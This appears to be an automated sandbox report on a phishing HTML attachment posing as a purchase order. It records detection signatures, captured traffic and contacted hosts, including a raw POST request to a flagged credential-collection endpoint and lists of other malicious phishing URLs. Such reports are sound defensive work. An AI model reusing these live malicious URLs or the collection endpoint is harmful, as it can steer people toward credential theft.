Edit tour

Windows Analysis Report
PO 635614 635613_CQDM.html

Overview

General Information

Sample name:	PO 635614 635613_CQDM.html
Analysis ID:	1541086
MD5:	9297a27b13125888d78c07e858935df8
SHA1:	d2f53c7c303953542237650c38bd2d4033236ddb
SHA256:	0819aeaa7263dfeff15b6db5060406aa500fa8f6ba7501ea1a6f8505b2ee3e13
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML page contains hidden URLs

HTML page contains hidden email address

Phishing site detected (based on image similarity)

HTML body contains password input but no form action

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PO 635614 635613_CQDM.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1980,i,2401576278742567383,15424756592650160593,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveContent-Length: 35sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: PO 635614 635613_CQDM.html	String found in binary or memory: https://www.office.com
Source: PO 635614 635613_CQDM.html	String found in binary or memory: https://www.phpkobo.com/html-obfuscator

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49757 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.winHTML@13/37@26/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PO 635614 635613_CQDM.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1980,i,2401576278742567383,15424756592650160593,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1980,i,2401576278742567383,15424756592650160593,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html

HTTP Parser: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.129.229	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
www.google.com	142.250.186.36	true	false	unknown
d19d360lklgih4.cloudfront.net	13.33.187.14	true	false	unknown
s-part-0039.t-0009.fb-t-msedge.net	13.107.253.67	true	false	unknown
amsroofinginc.org	104.21.68.211	true	true	unknown
aadcdn.msauthimages.net	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false	unknown
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js	false	unknown
https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js	false	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false	unknown
https://aadcdn.msauthimages.net/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854	false	unknown
https://aadcdn.msauthimages.net/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527	false	unknown
https://amsroofinginc.org/7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/admin/lifeattach	true	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false	unknown
file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	true	unknown
https://amsroofinginc.org/7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com	PO 635614 635613_CQDM.html	false		unknown
https://www.phpkobo.com/html-obfuscator	PO 635614 635613_CQDM.html	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	unknown	United States	54113	FASTLYUS	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
151.101.129.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
13.33.187.14	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
13.33.187.120	unknown	United States	16509	AMAZON-02US	false
13.107.253.45	s-part-0017.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.253.67	s-part-0039.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.68.211	amsroofinginc.org	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.16
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541086
Start date and time:	2024-10-24 11:56:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO 635614 635613_CQDM.html
Detection:	MAL
Classification:	mal80.phis.winHTML@13/37@26/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.174, 64.233.167.84, 34.104.35.123, 199.232.214.172, 142.250.185.163, 216.58.206.46
Excluded domains from analysis (whitelisted): clients1.google.com, azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO 635614 635613_CQDM.html

Input	Output
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Click here to view document", "prominent_button_name": "Click here", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Click here to view document", "prominent_button_name": "Click here", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Enter Password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Enter Password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [ "elkamet" ] }
	```json { "brands": [ "elkamet" ] }
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [ "elkamet" ] }
	```json { "brands": [ "elkamet" ] }
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Your account or password is incorrect. If you can't remember your password, reset it now.", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Your account or password is incorrect. If you can't remember your password, reset it now.", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [ "Elkamet" ] }
	```json { "brands": [ "Elkamet" ] }
URL: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html Model: claude-3-haiku-20240307	```json { "brands": [ "Elkamet" ] }
	```json { "brands": [ "Elkamet" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
151.101.1.229	http://www.ledger-secure03948.sssgva.com/	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/jquery.magnific-popup/1.0.0/jquery.magnific-popup.min.js
151.101.1.229	New Scanned Copy.html	Get hash	malicious	HTMLPhisher	Browse	cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js
151.101.129.229	http://valleyprohealth.org	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/jquery.slick/1.5.1/slick-theme.css

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sni1gl.wpc.upsiloncdn.net	roquette October.pdf	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Play_VoiceMsg_mchee@eq3.com_{RANDOM_NUMBER5}CQDM.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	152.199.21.175
	Rechnung 22. Okt. 2024.htm	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	RemitReports_DD6612_ACH_Nexa1_6465046311.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	[EXTERNAL] Redbrick Communications Request For Proposal .eml	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.google.co.uk/url?q=2RUDu&rct=2RUDu&sa=t&esrc=2RUDu&source=&cd=2RUDu&uact=&url=amp%2F%63%6F%64%65%76%69%72%6F%2E%63%6F%6D%2F%2E%6A%61%2F#zFqKgE-SUREJACKdm1hbnRocmlwcmFnYWRhQG1vbnRyb3NlLWVudi5jb20=	Get hash	malicious	Unknown	Browse	152.199.21.175
	[EXT] New V-M Received for Dan.holifield 1fe51c9b2b1a7f7253a1febda3c0db05 .eml	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	152.199.21.175
	Aunali_khokhawala-In Services.Agreement-SDYAMPA 416944.rtf	Get hash	malicious	EvilProxy, Fake Captcha, HTMLPhisher	Browse	152.199.21.175
	Revised_Executed_Docs_(Revised)_Afranco_Latecnovalvo_Required_Signature.docx	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
jsdelivr.map.fastly.net	https://www.amalkongsirezeki20245.org-now.info/	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/b%C2%ADr%C2%ADi%C2%ADa%C2%ADn%C2%ADs%C2%ADd%C2%ADr%C2%ADe%C2%ADn%C2%ADn%C2%ADa%C2%ADn%C2%ADm%C2%ADo%C2%AD.%C2%ADc%C2%ADo%C2%ADm%C2%AD.%C2%ADp%C2%ADl/ZsS8z/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://s.id/closingdocview67111111	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	Review_&_Aprove_Your_Next_Payroll39298.html	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://talentrecruting.com/?Y3w2MDkxNzZ8d190cmF1MTEwRHx8fA0KfHxicnlhbi50LmJlYmJAc2FpYy5jb20=	Get hash	malicious	Unknown	Browse	151.101.1.229
	KERR SURVEYING LLC EE RFI#1.pdf	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://boulos.pages.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://asfdhjgd16dfhfgkfsgdssd.z33.web.core.windows.net/asfdsa16.html	Get hash	malicious	TechSupportScam	Browse	151.101.65.229
